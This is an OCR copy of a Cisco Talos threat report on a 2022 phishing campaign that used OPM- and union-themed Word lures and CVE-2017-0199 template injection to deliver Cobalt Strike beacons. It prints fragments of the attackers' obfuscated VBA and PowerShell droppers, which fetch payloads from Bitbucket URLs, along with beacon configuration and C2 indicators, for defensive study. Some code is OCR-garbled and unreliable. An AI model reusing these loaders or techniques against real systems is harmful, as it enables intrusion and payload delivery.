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New campaign uses government, union-themed lures to deliver
Cobalt Strike beacons

By Chetan Raghuprasad and Vanja Svajcer.

¢ Cisco Talos discovered a malicious campaign in August 2022 delivering Cobalt Strike beacons that could be
used in later, follow-on attacks.

¢ Lure themes in the phishing documents in this campaign are related to the job details of a government
organization in the United States and a trade union in New Zealand.

e The attack involves a multistage and modular infection chain with fileless, malicious scripts.

Cisco Talos recently discovered a malicious campaign with a modularised attack technique to deliver Cobalt Strike
beacons on infected endpoints.

The initial vector of this attack is a phishing email with a malicious Microsoft Word document attachment containing
an exploit that attempts to exploit the vulnerability CVE-2017-0199, a remote code execution issue in Microsoft Office.
If a victim opens the maldoc, it downloads a malicious Word document template hosted on an attacker-controlled
Bitbucket repository.

Talos discovered two attack methodologies employed by the attacker in this campaign: One in which the downloaded
DOTM template executes an embedded malicious Visual Basic script, which leads to the generation and execution of
other obfuscated VB and PowerShell scripts and another that involves the malicious VB downloading and running a
Windows executable that executes malicious PowerShell commands to download and implant the payload.

The payload discovered is a leaked version of a Cobalt Strike beacon. The beacon configuration contains commands
to perform targeted process injection of arbitrary binaries and has a high reputation domain configured, exhibiting the
redirection technique to masquerade the beacon's traffic.

Although the payload discovered in this campaign is a Cobalt Strike beacon, Talos also observed usage of the
Redline information-stealer and Amadey botnet executables as payloads.

This campaign is a typical example of a threat actor using the technique of generating and executing malicious scripts
in the victim's system memory. Defenders should implement behavioral protection capabilities in the organization's
defense to effectively protect them against fileless threats.

Organizations should be constantly vigilant on the Cobalt Strike beacons and implement layered defense capabilities
to thwart the attacker's attempts in the earlier stage of the attack's infection chain.

Initial vector

The initial infection email is themed to entice the recipient to review the attached Word document and provide some
of their personal information.
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Office Accounting <jeje-david@orange fr> gene@full-vision com b1 32002
Document Office

© i1 there are problems with how this message is displayed, click here to view it in a web browser

Service Office

Accounting report for July

Accounting, please download the document enclosed in the letter for review and also fill in some of your information, once filled send the document back to the same
mail address.

Your Initials :
Your phone number for contacting :

Your Review : .
Initial

malicious email message.

The maldocs have lures containing text related to the collection of personally identifiable information (PIl) which is
used to determine the eligibility of the job applicant for employment with U.S. federal government contractors and
their alleged enroliment status in the government's life insurance program.

The text in the maldoc resembles the contents of a declaration form of the U.S. Office of Personnel Management
(OPM) which serves as the chief human resources agency and personnel policy manager for the U.S. federal
government.
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Contents of
maldoc sample 1.

Another maldoc of the same campaign contains a job description advertising for roles related to delegating
development, PSA plus — a prominent New Zealand trade union — and administrative support for National
Secretaries at the Public Service Association office based out of Wellington, New Zealand. The contents of this
maldoc lure resemble the legitimate job description documents for the New Zealand Public Service Association,
another workers' union for New Zealand federal employees, headquartered in Wellington.
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‘Working relationshig

Reporting to: ——
Day to day reporting and oversight:

Staff reports management:
None

Contents of
maldoc sample 2.

PSA New Zealand released this legitimate job description document in April 2022. The threat actor constructed the
maldoc to contain the text lures to make it appear as a legitimate document on May 6, 2022. Talos' observation
shows that the threat actors are also regular consumers of online news.

Attack methodologies

Attack methodologies employed by the actor in this campaign are highly modularised and have multiple stages in the
infection chain.

Talos discovered two different attack methodologies of this campaign with a few variations in the TTPs', while the
initial infection vector, use of remote template injection technique and the final payload remained the same.

Method 1

This is a modularised method with multiple stages in the infection chain to implant a Cobalt Strike beacon, as outlined
below:

Attack Method 1

Bitbucket.org

Phishing
Email

Cobalt Strike

Summary
of attack method 1 infection chain.

Stage 1 maldoc: DOTM template

The malicious Word document contains an embedded URL,
https[://]bitbucket.]Jorg/atlasover/atlassiancore/downloads/EmmadJardi.dotm, within its relationship component
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"word/_rels/settings.xml.rels". When a victim opens the document, the malicious DOTM file is downloaded.

n="1,0" encoding="UTF-8" standalone="yes"?
s xmlr http://schemas.openxmlformats. oxg;’package;’200E.r':l:elatlonshlps“’-"' ship Id=

€ ttp: f)"srhemaﬁ openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
https //bltbuckgt org/atlasover/atlassiancore/downloads/EmmaJardi.dotm" TargetMode="External"/>

hips
Contents of settlngs xml.rels of maldoc.

Stage 2: VBA dropper

The downloaded DOTM executes the malicious Visual Basic for Applications (VBA) macro. The VBA dropper code
contains an encoded data blob which is decoded and written into an HTA file, "example.hta," in the user profile local
application temporary folder. The decoded content written to an HTA file is the next VB script, which is executed using
the ShellExecuted method.

message = message & 6E76734A49
message = message &
message = message &
message = message &
message = message &
message = message &
message = message &
message = message &
message = message &
message = message &
message = message &
message = message &
message = message &
Encoded data b\ob

FSO As New FileSystemObject

pth As Stril
pth = Environ("

0 = CreateObject( L

FileToCreate = FSO.CreateTextFile(pth)
FileToCreate.Write XXXXX(message)
FileToCreate.Close
S SW = GetObject (XXXXX("6

AB W. Item()
AB.Document.Application.ShellExecute pth, "", "", XXXXX(

XXXXX(InitialString As String) As String

i As Long

i =1 To Len(InitialString) Step 2 Decoding function
XXXXX & Chr("& & (Mid(InitialString, ))

Stage 2
VBA dropper.

Stage 3 VB script

The third-stage VBS structure is similar to that of the stage 2 VB dropper. An array of the encoded data will be
decoded to a PowerShell script, which is generated in the victim's system memory and executed.

Qf jsBNWgS (ByVal gRmarr)
QfjsBNWgS = VarType( gRmarr)

ZTDFGS(ByVal doRMPSYofWo) Decoding function
qRmarr
BwpRET
fDtMm
tcIlzoYonaF
tcIlzoYonaF = 46762
qRmarr = QfjsBNWgS (doRMPSYofWo)
If qRmarr = 8204 The
For Each BwpRET In doRMPSYofWo
fDtMm = fDtMm & Chr(BwpRET - tcIlzoYonaF)
Next
End If
ZTDFGS = fDtMm

lvysmUdle()
doRMPSYofWo
BavAYBN
FqupEeS Encoded data blob arrays
doRMPSYofWo = Array(46874,46873,46881,46863,46876,46877,46866,46863,46870,46870,46808,46863,46882,46863,46794, 46807 ,46831,|
BavAYBN = zTDFGS(doRMPSYofWo)
FqupEes ZTDFGS (Array (46849, 46877,46861,46876, 46867, 46874, 46878, 46808, 46845, 46866, 46863 , 46870, 46870) ) )
FqupEeS.Ru
self.close()

Variable in system memory containing the PowerShell dropper script

qRg(ByVal objectType)
1ngRg = CreateObject(objectType)

LvysnUdle() Stage 3
VB script.

Stage 4 PowerShell script
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The PowerShell dropper script executed in the victim's system memory contains an AES-encrypted data blob as a
base64-encoded string and another base64-encoded string of a decryption key. The encoded strings are converted to
generate the AES encrypted data block and the 256-bit AES decryption key. Using the decryption key, the encrypted
data generates a PowerShell downloader script, which is executed using the PowerShell IEX function.

$KWxCygKpJXdN = * M uP4kMommUdPNiSclpN TPmAS4pfebugkr Zsi+RvjYT3uhD
$MiRdhA = " i dHNNL 0 0 base64 encoded string of AES encrypted data block
$WmdYBtFWTF = New-Object 1 i
$WmdYBtFwTF.Mode = [
$WmdYBtFwTF.Padding = [
$WmdYBtFwTF.BlockSize = 128;
$WmdYBtFwTF.KeySize = 256;
$WmdYBtFwTF.Key = [ ]::FromBase64Str1ng(; Decryption Key
$JzdGi = [ . FromBase64String($KwxCygKpJXdN) ;
$hhrNVsUjUMQ = $12zdGi[0..15];
$WmdYBtFwTF.IV = $hhrNVsUjUMQ;
$PufBlYxQRe = $WmdYBtFwTF.CreateDecryptor();
$gbzHUE \VDWBMEIbgQsU = $PufBlYxQRe.TransformFinalBlock($JzdGi, 16, $JzdGi.Length
$WmdYBtFwTF.Dispose();
$gCbAF = New-Object System.IO.MemoryStream( , $gbzHUELVDWBMEIbgQsU );
$sFAniN = New-Object System.I0.MemoryStream;
$NiJUKHryXPVH = New-Object System.IO.Compression.GzipStream $gCbAF, (| lode] : :Decompress) ;
$NiJUKHryXPVH.CopyTo( $sFAniN );
$NiJUKHryXPVH.Close();
$9CbAF.Close();
[ 1 $0Q0CpX = $sFAniN.ToArray();
= [ . 1::UTFB.GetString($QQ0CpX);
Variable in system memory containing the decrypted powershell downloader script
TGxNtitn($uyMdnjsyfHAI) {$eGggsnK=52201;
$bAmj ktKqryyGp=$nNull; Decoding function
ch($gjGraOkkeR in $uyMdnjsyfHAI) {$bAmjktKqryyGp+=I[ch $9jGra0OkkeR-$eGggsnK) };
turn $bAmjktKqryyGp};

$InwIYdvDFxkS = (TGxNtitn @(52274,52270,52289)); Using the decoding function to generate the string IEX
sal WmndYBtFwTF $InwlYdvDfxkS;

Powershell downloader is executed using IEX function Stage 4

PowerShell script.

Stage 5 PowerShell downloader

The PowerShell downloader script is obfuscated and contains encoded blocks that are decoded to generate the
download URL, file execution path and file extensions.

The following actions are performed by the script upon its execution in victim's system memory:

-

. The script downloads the payload from the actor controlled remote location through the URL
"https[://]bitbucket[.]Jorg/atlasover/atlassiancore/downloads/newmodeler.dll" to the user profile local application
temporary folder.

2. The script performs a check on the file extension of the downloaded payload file.

3. If the payload has the extension .dll, the script will run the DLL using rundll32.exe exhibiting the use of

sideloading technique.

4. If the payload has an MSI file extension, the payload is executed using the command

"msiexec /quiet /i <payload>".
5. If the payload is an EXE file, then it will run it as a process using the PowerShell commandlet
Start-Process.

6. Upon running the payload, the script will hide the payload file to establish persistence by setting the "hidden"

file system attribute of the payload file.

During our analysis, we discovered that the downloaded payload is a Cobalt Strike DLL beacon.
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CbRIGrxpv;j ( $ZLWyMItVKr, $cPBKCjXMeRkI){ [ :zWriteAllBytes ($ZLwyMItVKr, $cPBKCjXMeRk])};

DDaWpeAPpqckiCsk($ZLuwyMItVKr)
{1 ($ZLwyMItVKr.EndsWith((TGxNtitn @(52247,52301,52309,52389))) -eq ) Checks if the payload is a DLL
rund1132.exe $ZLwyMItVKr , Default } Side-loads the DLL
e  ($ZLwyMItVKr.EndsWith( (TGxNtitn @(52247,52310,52316,523@6))) -eq Checks if the payload is a MSI
msiexec /quiet /i $ZLwyMJtvkr} Runs MSI

else
Start-Process $ZLwyMItVKr}}; Runs EXE

ApGeC2ZwiwhwGfYujn0($CbRIGrxpv))  Hides the payload file
{
$IACKjRIIgpOMjL=(TGxNtitn 52273,52306,52301,52301,52302,52311) )
$BXRxcxeHrdR=(Get~ChildItem $CbRIGrxpvj -Force);

$BXRxcxeHrdR.Attributes=$BXRxcxeHrdR.Attributes -bor $IACKjRIIgpOMjL) .value__};

agGXT1LezQHtXq($TOUUCLnRCAgnsXTXQv) Downloads the payload to C:\Users\<user>\AppData\Local
{$JnwIYdvDfxkS = New-Object (TGxNtitn @(52279,52302,52317,52247,52288,52302,52299,52268, 52309, 52306, 52302,52311,52317
::SecurityProtocol =
$CPBKCjXMeRK) = $JnwIYdvDfxkS.Down loadData ($TOUUCLNRCAQnSXTXQV) ;
urn $cPBKCjXMeRkJ};

TGXNtitn ($uyMdnjsyfHAIL)
{
$eGggsnK=52201;
$bAmj ktKqryyGp=" 3
foreach($gjGraDkkeR in $uyMdnjsyfHAI){$bAmjktKqryyGp+= 4$gj GraOkkeR-$eGggsnK) } ;
urn $bAmjktKqryyGp}:

pCnneRxPLrnJ ()
{$SIPcjcsBAhBLcY = $enviTemp + *;$hfUSEVEBay = $SIPcjcsBAhBLcy + 'ne
Test-Path -Path $hfUsEVEBay
DDaWpeAPpqckiCsk $hfUsEVEBay;
Decodes into the URL https://bitbucket.org/atlasover/atlassiancore/downloads/newmodeler.dll

$INCkyecydF = agGXTlLezQHtXq (TGxNtitn @(52305,52317,52317,52313,52316,52259,52248,52248,52299,52306,52317,52299,52318, 52300, 52308 ,52302,52317, 522
CbRIGrxpvj $hfUsEVEBay $INCkyecydF;DDawpeAPpqckiCsk $hfUSEVEB: ApGeCZwiwhwGfYujn0 $hfUSEVEBa
pCnneRxPLrNT;

Stage 5
PowerShell downloader.

Method 2

The second attack method of this campaign is also modular, but is using less sophisticated Visual Basic and
PowerShell scripts. We spotted that, in the attack chain, the actor employed a 64-bit Windows executable downloader
which executes the PowerShell commands responsible for downloading and running the Cobalt Strike payload.

Attack Method 2

Bitbucket.org

)=

Phishing
Email

Cobalt Strike

Downloader

Summary
of attack method 2 infection chain.

Stage 1 maldoc: DOTM template

When a victim opens the malicious document, Windows attempts to download a malicious remote DOTM template
through the URL "https][://]bitbucket[.]Jorg/clouchfair/oneproject/downloads/ww.dotm," which was embedded in its
relationship component of the file settings.xml.rels."

2xml wversi "1.0" en 1ing="UTF-8" standalone="yes"?>
ationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships’><Relationship Id="rIdl"
http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate™
larget="https://bitbucket.org/clouchfair/eneproject/downloads/ww.dotn" TargetMode="External"/></Relationships>

Contents of settings.xml.rels of maldoc.

Stage 2 VB script

The DOTM template contains a VBA macro that executes a function to decode an encoded data block of the macro
to generate the PowerShell downloader script and execute it with the shell function.
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Docunent_open()

EnxZUAIGDAAVXy = OKGDiiyUMOswUTV

Shell (EnxZUApIGDAAVxy)

OKGD iyUMQswUfv(InitialString As String) As String
i 9
For i =1 To Len(InitialString) Step 2
GDiiyUMQswUfv = OKGDiiyUMQswUfv & Chr("&H" & (Mid(Initialstring, i, 2)))
Next i

Stage 2
VB script.

Stage 3 PowerShell downloader

The PowerShell downloader command downloads a 64-bit Windows executable and runs it as a process in the
victim's machine.

PowerShell downloader.

Stage 4 downloader executable

The downloader is a 64-bit executable that runs as a process in the victim's environment. It executes the PowerShell
command, which downloads the Cobalt Strike payload DLL through the URL
"https[://]bitbucket[.]Jorg/clouchfair/oneproject/downloads/strymon.png" to the userprofile local application temporary
directory with a spoofed extension .png and sideloads the DLL using rundlI32.exe.

Stage 4

downloader EXE.

The downloader also executes the ping command to the IP address 1[.]1[.]1[.]1 and executes the delete command to
delete itself. The usage of ping command is to instill a delay before deleting the downloader.

Nul & Del

Payload

Talos discovered that the final payload of this campaign is a Cobalt Strike beacon. Cobalt Strike is a modularised
attack framework and is customizable. Threat actors can add or remove features according to their malicious
intentions. Employing Cobalt Strike beacons in the attacks' infection chain allows the attackers to blend their
malicious traffic with legitimate traffic and evade network detections. Also, with its capabilities to configure commands
in the beacon configuration, the attacker can perform various malicious operations such as injecting other malicious
binary into the running processes of the infected machines and can avoid having a separate injection module
implants in their infection chain.

The Cobalt Strike beacon configurations of this campaign showed us various characteristics of the beacon binary:

e C2 server.

e Communication protocols.

¢ Process injection techniques.

e Malleable C2 Instructions.

* Target process to spawn for x86 and x64 processes.
o Watermark : "Xi54kA==".
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"HttpPostChunk": "

‘%windir%\syswow64\dns-sd.exe",
pawnto_x6: %swindirs%\sysnative' ac.exe /V",
bProcInject_MinAllocSize": "AAAro,

nd_x86" :
[""UFgPH4QAAAAAAGaQDX9EAAAPHAAAAAAADXIAAAS FAGYPHAQAAAAAAAS fQABMDX+EAAAAAABMDXIEAABMDX9EAAAPHAQAAAAAAIAPHAAAAAAAZGS FhAAAAAAADX9EAAAPHAAAAAAAZGB FhAAAAAAA™
"'Dx+EAAAAAACQKGaQZgBfRAAAZGBTRAAA" ],
"ProcInject_PrependAppend_x64": ["DxOAAABFAABFhAAAAAAAUFiQKABTGAAAAABMDX+EAAAAAAA=",
"'DX9EAABQWGYPH4QAAAAAAGYPHOQAAGYPHAQAAAAAAGYPHOQAAGaQZg8 fFhAAAAAAAKGYPHOQAAA=="]
"SleepTim g
"ProcInject_Execut tdll:RtWserThreadStart", “CreateThread", “NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"],
"HostHeader" los .com\r\n",
"HttpPost_Verb

["Remove 910 bytes from the en Remove 910 bytes from the beginning", "NetBIOS decode 'A'", "XOR mask w/ random key"l,

'ACAHJ,
"'/Fabricate/reminder/NA2SEVLFIWX0",
AAAAAAAAAAAAAAAAAAAAAA=="

“Proxy_Behavior" :
*'bUsesCooki

"ProcInject_AllocationMethod": "VirtualAllocEx",
'ttpGet_Ve .

Cobalt
Strike beacon configuration sample.

The Cobalt Strike beacon used in this campaign has the following capabilities:

* Executes arbitrary codes in the target processes through process injection. Target processes described in the
beacon configuration related to this campaign include:

x86:
"%windir%\syswow64\dns-sd.exe"
"%windir%\syswow64\rundll32.exe"
"%windir%\syswow64\dllhost.exe -0 enable"

x64:
"%windir%\sysnative\getmac.exe /V"
"%windir%\sysnative\rundll32.exe"
"%windir%\sysnative\DeviceParingWizard.exe"

* A high-reputation domain defined in the HostHeader component of the beacon configuration. The actor is using
this redirector technique to make the beacon traffic appear legitimate and avoid detection.

Malicious repository

The attacker in this campaign has hosted malicious DOTM templates and Cobalt Strike DLLs on Bitbucket using
different accounts. We spotted two attacker-controlled accounts "atlasover" and "clouchfair" in this campaign:
https[://]bitbucket[.]Jorg/atlasover/atlassiancore/downloads and
https[://]bitbucket.]Jorg/clouchfair/oneproject/downloads.

During our analysis, the account "atlasover" was live and showed us the hosting information of some of the malicious
files in this campaign.

atlaso

Downloads

© For large uploads, we recommend using the APL Get instructions

Downloads Tags Branches
Name Size Uploaded by Downloads Date
Download repository 62.7 KB
Emmalardi.dotm 344 KB atlas 296 10 hours ago
newmodeler.dll 836.5 KB atlas 49 11 hours ago

Attacker-
controlled bitbucket repository.

Talos also discovered in VirusTotal that the attacker operated the Bitbucket account "clouchfair," using the account to
host two other information stealer executables, Redline and Amadey, along with a malicious DOTM template and
Cobalt Strike DLL.

Command and control

Talos discovered the C2 server operated in this campaign with the IP address 185[.]225[.]73[.]238 running on Ubuntu
Linux version 18.04, located in the Netherlands and is a part of the Alibaba cloud infrastructure.

Shodan search results showed us that the C2 server contained two self-signed SSL certificates with the serial
numbers 6532815796879806872 and 1657766544761773100, which are valid from July 14, 2022 - July 14, 2023.
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185.225.73.238

SSL Certificate serial number SSL Certificate serial number

6532815796879806827 1657766544761773100

Y

43.154.175.230

SSL certificate associated with the C2 servers.

Pivoting on the SSL certificates disclosed another Cobalt Strike C2 server with the IP address 43[.]154[.]175[.]230
running on Ubuntu Linux version 18.04 located in Hong Kong, which is also part of Alibaba cloud infrastructure and
more likely is operated by the same actor of this campaign.

Coverage

Ways our customers can detect and block this threat are listed below.
Product

Cisco Secure Endpoint
{AMP for Endpoints)

Cloudiock
Cisco Secure Email

Cisco Secure Firewall/Secure IPS
(Network Security)

t_:'isr_:o Secure Malware Analytics
(Threat Grid)

Umbrella

Cisco Secure Web Appliance
(Web Security Appliance)

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed
in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in
these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their
campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense
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Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure
products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs,
whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and
tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall
Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available
for purchase on Snort.org. Snort Rule 60600 is available for this threat.

The following ClamAV signatures have been released to detect this threat:
Win.Packed.Generic-9956955-0

Win.Malware.CobaltStrike-9968593-1
Win.Dropper.AgentTesla-9969002-0

Win.Dropper.Swisyn-9969191-0

Win.Trojan.Swisyn-9969193-0

Win.Malware.RedlineStealer-9970633-0

I0C

The 10C list is available in Talos' Github repo here.
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